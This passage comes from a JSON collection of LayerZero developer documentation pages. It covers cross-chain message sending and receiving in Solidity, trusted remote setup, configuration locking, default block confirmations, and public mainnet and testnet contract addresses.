\"feeBpConfig\" : { \"feeBp\" : 0 , \"enabled\" : false }, \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 160000 } } } } } } This configuration uses address per chain and relys on the contracts containing the following ABI's: function setTrustedRemote(uint16, bytes) function setUseCustomAdapterParams(bool) function setMinDstGas(uint16, uint16, uint) function setDefaultFeeBp(uint16) function setFeeBp(uint16, bool, uint16) Previous UA Configuration Next - EVM Guides Omnichain Governance Last modified 14d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Send Messages", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/master/how-to-send-a-message", - "body": "Send Messages Use LayerZero to send a bytes payload from one chain to another. To send a message, call the Endpoint's send() function. Initiate the send() function in your contracts (similar to the CounterMock ) to send a cross chain message. // an endpoint is the contract which has the send() function ILayerZeroEndpoint public endpoint ; // remote address concated with local address packed into 40 bytes bytes memory remoteAndLocalAddresses = abi . encodePacked ( remoteAddress , localAddress ); // call send() to send a message/payload to another chain endpoint . send { value : msg . value }( 10001 , // destination LayerZero chainId remoteAndLocalAddresses , // send to this address on the destination bytes ( \"hello\" ), // bytes payload msg . sender , // refund address address ( 0x0 ), // future parameter bytes ( \"\" ) // adapterParams (see \"Advanced Features\") ); Here is an explanation of the endpoint.send() interface: // @notice send a LayerZero message to the specified address at a LayerZero endpoint specified by our chainId. // @param _dstChainId - the destination chain identifier // @param _remoteAndLocalAddresses - remote address concated with local address packed into 40 bytes // @param _payload - a custom bytes payload to send to the destination contract // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination function send ( uint16 _dstChainId , bytes calldata _remoteAndLocalAddresses , bytes calldata _payload , address payable _refundAddress , address _zroPaymentAddress , bytes calldata _adapterParams ) external payable ; You will note in the topmost example we call send() with {value: msg.value} this is because send() requires a bit of native gas token so the relayer can complete the message delivery on the destination chain. If you don't set this value you might get this error when calling endpoint.send() Putting it into a more complete example, your User Application contract may look something like this: pragma solidity 0.8.4 ; pragma abicoder v2 ; import \"../lzApp/NonblockingLzApp.sol\" ; /// @title A LayerZero example sending a cross chain message from a source chain to a destination chain to increment a counter contract OmniCounter is NonblockingLzApp { uint public counter ; constructor ( address _lzEndpoint ) NonblockingLzApp ( _lzEndpoint ) {} function _nonblockingLzReceive ( uint16 , bytes memory , uint64 , bytes memory ) internal override { // _nonblockingLzReceive is how we provide custom logic to lzReceive() // in this case, increment a counter when a message is received. counter += 1 ; } function incrementCounter ( uint16 _dstChainId ) public payable { // _lzSend calls endpoint.send() _lzSend ( _dstChainId , bytes ( \"\" ), payable ( msg . sender ), address ( 0x0 ), bytes ( \"\" )); } } There you have it! Call incrementCounter() to send a LayerZero message to another chain. See the next section for how to handle receiving the message by implementing lzReceive() and also see how to execute any smart contract logic on the destination. Putting together a full User Application contract simply means implementing a way to call endpoint.send() and ensuring lzReceive() is overridden to handle receiving messages (see ILayerZeroReceiver.sol for the lzReceive() interface) OmniChainToken is a slightly more complex example of a omnichain contract. Estimating Message Fees If you want to know how much {value: xxx} to give to the send() function to pay for you message please refer to this section on estimating fees . Adapter Parameters Also see advanced message features using Adapter Parameters (aka: _adapterParameters ) EVM Guides - Previous Getting Started Next Receive Messages Last modified 1d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Receive Messages", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/master/receive-messages", - "body": "Receive Messages Destination contracts must implement lzReceive() to handle incoming messages The code snippet explains how the message will be received. To receive a message, your User Application contract must implement the ILayerZeroReceiver interface and override the lzReceive() function pragma solidity >= 0.5.0 ; interface ILayerZeroReceiver { // @notice LayerZero endpoint will invoke this function to deliver the message on the destination // @param _srcChainId - the source endpoint identifier // @param _srcAddress - the source sending contract address from the source chain // @param _nonce - the ordered message nonce // @param _payload - the signed payload is the UA bytes has encoded to be sent function lzReceive ( uint16 _srcChainId , bytes calldata _srcAddress , uint64 _nonce , bytes calldata _payload ) external ; } Below is a snippet that shows an implementation of lzReceive() . Here we demonstrate how to extract an address out of the payload and increment a counter each time this contract receives any message. UAs should authenticate the received messages with: the caller is the known LayerZero endpoint the srcAddress is a trusted known address on the _srcChain . If the application will connect non-evm chains, the UA should use bytes to store addresses. mapping ( address => uint ) public addrCounter ; mapping ( uint16 => bytes ) public trustedRemoteLookup ; // override from ILayerZeroReceiver.sol function lzReceive ( uint16 _srcChainId , bytes memory _srcAddress , uint64 _nonce , bytes memory _payload ) override external { require ( msg . sender == address ( endpoint )); require ( keccak256 ( _srcAddress ) == keccak256 ( trustedRemoteLookup [ _srcChainId ]); address fromAddress ; assembly { fromAddress := mload ( add ( _srcAddress , 20 )) } addrCounter [ fromAddress ] += 1 ; } Check the CounterMock for examples. Previous Send Messages Next Set Trusted Remotes Last modified 1d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Set Trusted Remotes", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/master/set-trusted-remotes", - "body": "Set Trusted Remotes For a contract using LayerZero, a trusted remote is another contract it will accept messages from. What is a Trusted Remote? A trusted remote is the 40 bytes (for evm-to-evm messaging) that identifies another contract which you will receive messages from within your LayerZero User Application contract. The 40 bytes object is the packed bytes of the remoteAddress + localAddress The reason to care about Trusted Remotes is that from a security perspective contracts should only receive messages from known contracts. Hence, contracts are securely connected by \"setting trusted remotes\" The team has produced this GitHub Repository as an example of how to automate setting trusted remotes. 40 byte Format for EVM <> EVM, A Trusted Remote is 40 bytes. It is the REMOTE contract address concatenated with the LOCAL contract address. Solana, Aptos, et al. & 32 Byte Addresses For NON-evm chains with addresses that are not 20 bytes obviously the Trusted Remotes will not be exactly 40 bytes, but we will regularly use \"40 byte\" Trusted Remotes in the nomenclature. Generate TrustedRemote Using Ethers.js // the trusted remote (or sometimes referred to as the path or pathData) // is the packed 40 bytes object of the REMOTE + LOCAL user application contract addresses let trustedRemote = hre . ethers . utils . solidityPack ( [ 'address' , 'address' ], [ remoteContract . address , localContract . address ] ) Trusted Remote Usage: The Trusted Remote is now used in a few places. Here is a list of which functions expect the trusted remote format: Function Param Is it a trusted remote? Endpoint retryPayload() _srcAddress Endpoint hasStoredPayload() _srcAddress Endpoint forceResumeReceive() _srcAddress LzApp setTrustedRemote() _path LzApp isTrustedRemote() _srcAddress lzReceive() _srcAddress Previous Receive Messages Next - EVM Guides Advanced Last modified 1d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "UA Configuration Lock", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/ua-custom-configuration/ua-configuration-lock", - "body": "UA Configuration Lock UA's can lock their LayerZero App configurations for full control of config changes. For UAs that want to fully control their config changes & security settings, the below sections describe how to do so. Locking UA configuration guarantees that only UA owners can change their LZ app configs; UAs that opt-in to LayerZero defaults accept LayerZero's future changes to default configurations (i.e. best practice changes to block confirmations & proof libraries etc.) There are 8 settings to fully lock your UA configuration 2 settings on the Endpoint Send Version Receive Version 6 settings on each pathway Inbound Proof Library Inbound Block Confirmations Relayer Outbound Proof Type Outbound Block Confirmations Oracle Steps for locking UA Configuration 1. Set the send version and receive version of your UA on the LayerZero Endpoint. This locks you to a core library version, currently UltraLigntNodeV2. In the event new libraries are implemented, only UA owners can upgrade their core library version. 2. Per pathway, UAs can configure up to all 6 settings and can lock each of these settings individually. For example, if a UA wants a specific Oracle but prefers the defaults for the other 5 settings, the UA only needs to set its configuration for the Oracle. UAs preferring to lock all 6 settings can easily do so. Once locked, only UA owners can make future configuration changes. We provide an interface for UA contracts to set their ILayerZeroUserApplicationConfig . We also provide code snippets here . Note: To lock any of the 6 settings for each pathway, you MUST first lock send & receive versions to a core library. EVM Guides - Previous UA Custom Configuration Next - EVM Guides Code Examples Last modified 1d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "EVM (Solidity) Interfaces", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces/evm-solidity-interfaces", - "body": "EVM (Solidity) Interfaces User Application ILayerZeroEndpoint.sol ILayerZeroReceiver.sol ILayerZeroUserApplicationConfig.sol ILayerZeroEndpointLibrary.sol ILayerZeroLibraryReceiver.sol Oracle ILayerZeroOracle.sol Relayer ILayerZeroRelayer.sol These interfaces can be found in the LayerZero GitHub : ILayerZeroValidationLibrary.sol ILayerZeroUltraLightNodeV1.sol ILayerZeroValidationLibrary.sol Technical Reference - Previous Interfaces Next ILayerZeroReceiver Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Default Config", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/default-config", - "body": "Default Config To simplify writing a User Application contract, LayerZero does not require any configuration. In this case, a UA sending messages will be using the system defaults. Note: Should you choose to not manually set your configuration, the Default configuration will automatically be set for your application. The Default configuration is set and owned by the LayerZero Labs Multisig and may be updated in the future. The Default Configuration Oracle: Google Cloud Oracle Relayer: LayerZero Labs Library Version (send & receive): UltraLightNodeV2.sol Outbound Proof Type: 1, MPT Outbound Confirmations: Varies per source chain, see below Inbound Proof Library: 1, MPT Inbound Confirmation: Varies per source chain, see below Sending Messages Default _adapterParams Type: Version 1 Gas Amount: 200,000 // These are the default Block Confirmations waited by LayerZero before delivering messages const defaultBlockConfs = { [ ETHEREUM ] : 15 , [ BSC ] : 20 , [ AVALANCHE ] : 12 , [ POLYGON ] : 512 , [ ARBITRUM ] : 20 , [ OPTIMISM ] : 20 , [ FANTOM ] : 5 , [ DFK ] : 10 , [ HARMONY ] : 5 , [ MOONBEAM ] : 10 , [ APTOS ] : 500000 , [ CELO ] : 5 , [ DEXALOT ] : 10 , [ KLAYTN ] : 5 , [ METIS ] : 5 , [ FUSE ] : 5 , [ GNOSIS ] : 5 , [ COREDAO ] : 21 , [ OKX ] : 2 , [ DOS ] : 2 , [ SEPOLIA ] : 10 , [ ZKSYNC ] : 20 , [ ZKPOLYGON ] : 20 , [ MOONRIVER ] : 10 , [ METER ] : 2 , [ NOVA ] : 20 , [ TENET ] : 2 , [ CANTO ] : 2 , [ KAVA ] : 2 , } Transactions originating from the above chains should be delivered after a minimum of the specified source Block Confirmations Previous UltraLightNodeV2 And NonceContract Addresses Next Multisig Wallets Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LayerZero Labs Relayer.sol Addresses", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/layerzero-labs-relayer.sol-addresses", - "body": "LayerZero Labs Relayer.sol Addresses The team operates and maintains a production Relayer for the protocol. Ethereum 0x902f09715b6303d4173037652fa7377e5b98089e BNB Chain 0xa27a2ca24dd28ce14fb5f5844b59851f03dcf182 Avalanche 0xcd2e3622d483c7dc855f72e5eafadcd577ac78b4 Polygon 0x75dc8e5f50c8221a82ca6af64af811caa983b65f Arbitrum 0x177d36dbe2271a4ddb2ad8304d82628eb921d790 Optimism 0x81e792e5a9003cc1c8bf5569a00f34b65d75b017 Fantom 0x52eea5c490fb89c7a0084b32feab854eeff07c82 DFK 0x473132bb594caef281c68718f4541f73fe14dc89 Harmony 0x7cbd185f21bef4d87310d0171ad5f740bc240e26 Dexalot 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c Celo 0x15e51701f245f6d5bd0fee87bcaf55b0841451b3 Moonbeam 0xcccdd23e11f3f47c37fc0a7c3be505901912c6cc Fuse 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c Gnosis 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c Klaytn 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c Metis 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c CoreDAO 0xfe7c30860d01e28371d40434806f4a8fcdd3a098 OKT (OKX) 0xfe7c30860d01e28371d40434806f4a8fcdd3a098 Polygon zkEVM 0xa658742d33ebd2ce2f0bdff73515aa797fd161d9 Canto 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c zkSync Era 0x9923573104957bf457a3c4df0e21c8b389dd43df Moonriver 0xe9ae261d3aff7d3fccf38fa2d612dd3897e07b2d Tenet 0xaab5a48cfc03efa9cc34a2c1aacccb84b4b770e4 Arbitrum Nova 0xa658742d33ebd2ce2f0bdff73515aa797fd161d9 Meter.io 0x442b4bef4d1df08ebbff119538318e21b3c61eb9 Base 0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa Linea 0xA658742d33ebd2ce2F0bdFf73515Aa797Fd161D9 Previous Mainnet Addresses Next UltraLightNodeV2 And NonceContract Addresses Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Multisig Wallets", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/multisig-wallets", - "body": "Multisig Wallets Multisigs Ethereum 0xCDa8e3ADD00c95E5035617F970096118Ca2F4C92 BNB 0x8D452629c5FfCDDE407069da48c096e1F8beF22c Avalanche 0xcE958C3Fb6fbeCAA5eef1E4dAbD13418bc1ba483 Polygon 0xF1a5F92F5F89e8b539136276f827BF1648375312 Arbitrum 0xFE22f5D2755b06b9149656C5793Cb15A08d09847 Optimism 0x2458BAAbfb21aE1da11D9dD6AD4E48aB2fBF9959 Fantom 0x42A36d2E002E38805109905db20FDB7a0B9e481c Metis 0xF7715218344c32Efbf93F81C4C178B2dA0b3b12D Previous Default Config Next - Technical Reference Interfaces Last modified 6mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Mainnet Addresses", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/supported-chain-ids", - "body": "Mainnet Addresses The omnichain contracts for sending messages Official Endpoint Addresses These are the mainnet contract addresses of the contracts on which you would call send() See testnet here to play around. Note: chainId values are not related to EVM ids. Since LayerZero will span EVM & non-EVM chains the chainId are proprietary to our Endpoints. Ethereum chainId : 101 endpoint : 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 BNB Chain chainId : 102 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Avalanche chainId : 106 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Aptos chainId : 108 endpoint : 0x54ad3d30af77b60d939ae356e6606de9a4da67583f02b962d2d3f2e481484e90 layerzero_apps: 0x43d8cad89263e6936921a0adb8d5d49f0e236c229460f01b14dca073114df2b9 Polygon chainId : 109 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Arbitrum chainId : 110 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Optimism chainId : 111 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Fantom chainId : 112 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 DFK chainId : 115 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Harmony chainId : 116 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Dexalot chainId : 118 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Celo chainId : 125 endpoint : 0x3A73033C0b1407574C76BdBAc67f126f6b4a9AA9 Moonbeam chainId : 126 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Fuse chainId : 138 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Gnosis chainId : 145 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Klaytn chainId : 150 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Metis chainId : 151 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 CoreDAO chainId : 153 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 OKT (OKX) chainId : 155 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Polygon zkEVM chainId : 158 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Canto chainId : 159 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 zkSync Era chainId : 165 endpoint : 0x9b896c0e23220469C7AE69cb4BbAE391eAa4C8da Moonriver chainId : 167 endpoint : 0x7004396C99D5690da76A7C59057C5f3A53e01704 Tenet chainId : 173 endpoint : 0x2D61DCDD36F10b22176E0433B86F74567d529aAa Arbitrum Nova chainId : 175 endpoint : 0x4EE2F9B7cf3A68966c370F3eb2C16613d3235245 Meter.io chainId : 176 endpoint : 0xa3a8e19253Ab400acDac1cB0eA36B88664D8DedF Sepolia This endpoint is connected to Ethereum, Arbitrum, Optimism only on mainnet. chainId : 161 endpoint : 0x7cacBe439EaD55fa1c22790330b12835c6884a91 Kava chainId : 177 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Linea chainId : 183 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Base chainId : 184 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Mantle chainId : 181 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Loot chainId : 197 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 MeritCircle (aka Beam) chainId : 198 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Zora chainId : 195 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 OpBNB chainId : 202 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Astar chainId : 210 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Conflux chainId : 212 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Telos chainId : 199 endpoint : 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 Aurora chainId : 211 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Tomo chainId : 196 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Scroll chainId : 214 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Horizen EON chainId : 215 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 XPLA chainId : 216 endpoint : 0xC1b15d3B262bEeC0e3565C11C9e0F6134BdaCB36 Technical Reference - Previous Mainnet Next LayerZero Labs Relayer.sol Addresses Last modified 5d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "UltraLightNodeV2 And NonceContract Addresses", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/ultralightnodev2-and-noncecontract-addresses", - "body": "UltraLightNodeV2 And NonceContract Addresses Ethereum UltraLightNodeV2.sol: 0x4d73adb72bc3dd368966edd0f0b2148401a178e2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 BNB Chain UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Avalanche UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Polygon UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Arbitrum UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Optimism UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Fantom UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Metis UltraLightNode.sol: 0x38dE71124f7a447a01D67945a51eDcE9FF491251 NonceContract.sol: 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 Base UltraLightNode.sol: 0x38dE71124f7a447a01D67945a51eDcE9FF491251 NonceContract.sol: 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 Linea UltraLightNode.sol: 0x38dE71124f7a447a01D67945a51eDcE9FF491251 NonceContract.sol: 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 Table below shows the default send and receive versions which correspond to the UltraLightNodeV2.sol. It is send/recv version 2 for earlier deployments, and 1 for more recently supported chains. UltraLightNodeV2.sol is the default send & receive version for all chains Previous LayerZero Labs Relayer.sol Addresses Next Default Config Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Deprecated Libraries", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/proof-types/deprecated-libraries", - "body": "Deprecated Libraries These libraries are deprecated. Please use V2. NETWORK UltraLightNode (Messaging Library V1) Ethereum Validation Library V1 BNB Validation Library V1 Avalanche Validation Library V1 Polygon Validation Library V1 Arbitrum Validation Library V1 Optimism Validation Library V1 Fantom Validation Library V1 Technical Reference - Previous Proof Types Next - Technical Reference Audits Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Default Config", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/testnet/default-config", - "body": "Default Config User Applications default configuration To simplify writing a User Application contract, LayerZero does not require any configuration. In this case, a UA sending messages will be using the system defaults. The Default Configuration Oracle: Google Cloud Provider Relayer: LayerZero Labs Library Version: 1 Outbound Proof Type: 1, MPT Outbound Confirmations: 4 Inbound Proof Library: 1, MPT Inbound Confirmation: 4 Sending messages Default _adapterParams Type: Version 1 Gas Amount: 200,000 Default Block Confirmation // These are the default amount of block confirmations waiting before delivering messages (TESTNET) const defaultBlockConfs = { [ ChainId . BSC_TESTNET ] : 5 , [ ChainId . FUJI ] : 6 , [ ChainId . MUMBAI ] : 10 , [ ChainId . FANTOM_TESTNET ] : 7 , [ ChainId . SWIMMER_TESTNET ] : 5 , [ ChainId . DFK_TESTNET ] : 1 , [ ChainId . HARMONY_TESTNET ] : 5 , [ ChainId . MOONBEAM_TESTNET ] : 3 , [ ChainId . CASTLECRUSH_TESTNET ] : 1 , [ ChainId . GOERLI ] : 3 , [ ChainId . ARBITRUM_GOERLI ] : 3 , [ ChainId . OPTIMISM_GOERLI ] : 3 , [ ChainId . INTAIN_TESTNET ] : 1 , [ ChainId . CELO_TESTNET ] : 1 , [ ChainId . FUSE_TESTNET ] : 1 , [ ChainId . APTOS_TESTNET ] : 10 , [ ChainId . DOS_TESTNET ] : 1 , [ ChainId . ZKSYNC_TESTNET ] : 10 , [ ChainId . SHRAPNEL_TESTNET ] : 1 , [ ChainId . KLAYTN_TESTNET ] : 1 , [ ChainId . METIS_TESTNET ] : 1 , [ ChainId . COREDAO_TESTNET ] : 1 , [ ChainId . GNOSIS_TESTNET ] : 1 , } Transactions originating from the above chains should be delivered after a minimum of the specified source Block Confirmations Previous Testnet Addresses Next - Technical Reference Mainnet Last modified 1d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Testnet Addresses", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses", - "body": "Testnet Addresses Supported Chains (Testnet)To send and receive messages, LayerZero endpoints use a chainId to identify different blockchains. Below is a table of the supported test networks along with their unique chainId.Review carefully. LayerZero assigns proprietary IDs to each chain. Official Endpoint Addresses (TESTNET) Note: chainId values are not related to EVM IDs. Since LayerZero will span EVM & non-EVM chains the chainId are proprietary to our Endpoints. These are the addresses of the contracts on which you would call send() By the way, if you want to go straight to mainnet , look no further. Goerli (Ethereum Testnet) chainId : 10121 endpoint : 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23 BNB Chain (Testnet) chainId : 10102 endpoint : 0x6Fcb97553D41516Cb228ac03FdC8B9a0a9df04A1 Fuji (Avalanche Testnet) chainId : 10106 endpoint : 0x93f54D755A063cE7bB9e6Ac47Eccc8e33411d706 Aptos (Testnet) chainId : 10108 endpoint : 0x1759cc0d3161f1eb79f65847d4feb9d1f74fb79014698a23b16b28b9cd4c37e3 Mumbai (Polygon Testnet) chainId : 10109 endpoint : 0xf69186dfBa60DdB133E91E9A4B5673624293d8F8 Fantom (Testnet) chainId : 10112 endpoint : 0x7dcAD72640F835B0FA36EFD3D6d3ec902C7E5acf Arbitrum-Goerli (Testnet) chainId : 10143 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Optimism-Goerli (Testnet) chainId : 10132 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Harmony (Testnet) chainId : 10133 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Moonbeam (Testnet) chainId : 10126 endpoint : 0xb23b28012ee92E8dE39DEb57Af31722223034747 Celo (Testnet) chainId : 10125 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Dexalot (Testnet) chainId : 10118 endpoint : 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Portal Fantasy (Testnet) chainId : 10128 endpoint : 0xd682ECF100f6F4284138AA925348633B0611Ae21 Klaytn (Testnet) chainId : 10150 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Metis (Testnet) chainId : 10151 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 CoreDao (Testnet) chainId : 10153 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Gnosis (Testnet) chainId : 10145 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 zkSync (Testnet) chainId : 10165 endpoint : 0x093D2CF57f764f09C3c2Ac58a42A2601B8C79281 OKX (Testnet) chainId : 10155 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Base (Testnet) chainId : 10160 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Meter (Testnet) chainId : 10156 endpoint : 0x3De2f3D1Ac59F18159ebCB422322Cb209BA96aAD Linea (ConsenSys zkEVM - Testnet) chainId : 10157 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab DOS (Testnet) chainId : 10162 endpoint : 0x45841dd1ca50265Da7614fC43A361e526c0e6160 Sepolia (Testnet) chainId : 10161 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Polygon zkEVM (Testnet) chainId : 10158 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Scroll Sepolia (Testnet) chainId : 10214 endpoint : 0x6098e96a28E02f27B1e6BD381f870F1C8Bd169d3 Tenet (Testnet) chainId : 10173 endpoint : 0x6aB5Ae6822647046626e83ee6dB8187151E1d5ab Canto (Testnet) chainId : 10159 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Kava (Testnet) chainId : 10172 endpoint : 0x8b14D287B4150Ff22Ac73DF8BE720e933f659abc Orderly (Testnet - opstack) chainId : 10200 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 BlockGen (Testnet) chainId : 10177 endpoint : 0x55370E0fBB5f5b8dAeD978BA1c075a499eB107B8 MeritCircle (Testnet) chainId : 10178 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 Mantle (Testnet) chainId : 10181 endpoint : 0x2cA20802fd1Fd9649bA8Aa7E50F0C82b479f35fe Hubble (Testnet) chainId : 10182 endpoint : 0x8b14D287B4150Ff22Ac73DF8BE720e933f659abc Aavegotchi (Testnet) chainId : 10191 endpoint : 0xfeBE4c839EFA9f506C092a32fD0BB546B76A1d38 Loot (Testnet) chainId : 10197 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Telos (Testnet) chainId : 10199 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Zora (Testnet) chainId : 10195 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Tomo (Testnet) chainId : 10196 endpoint : 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1 opBNB (Testnet) chainId : 10202 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Shimmer (Testnet) chainId : 10203 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Aurora (Testnet) chainId : 10201 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Lif3 (Testnet) chainId : 10205 endpoint : 0x55370E0fBB5f5b8dAeD978BA1c075a499eB107B8 Conflux (Testnet) chainId : 10211 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Horizen EON (Testnet) chainId : 10215 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 XPLA (Testnet) chainId : 10216 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 Astar (evm testnet) chainId : 10210 endpoint : 0x83c73Da98cf733B03315aFa8758834b36a195b87 zKatana (Astar zkevm testnet) chainId : 10220 endpoint : 0x6098e96a28E02f27B1e6BD381f870F1C8Bd169d3 Manta (Testnet) chainId : 10221 endpoint : 0x55370E0fBB5f5b8dAeD978BA1c075a499eB107B8 Technical Reference - Previous Testnet Next Default Config Last modified 5d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "zkLightClient Addresses", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/overview-of-polyhedra-zklightclient/zklightclient-addresses", - "body": "zkLightClient Addresses Contract Addresses to use zkLightClient with LayerZero To use the Polyhedra zkLightClient with your LayerZero UserApplication, configure your app with the oracle addresses below. zkLightClient Addresses (Mainnets) Ethereum 0x394ee343625B83B5778d6F42d35142bdf26dBAcD BNB Smart Chain 0x76ce31EfB81a013b609CeeF1Cc4F4E5aEeA70B7f Polygon 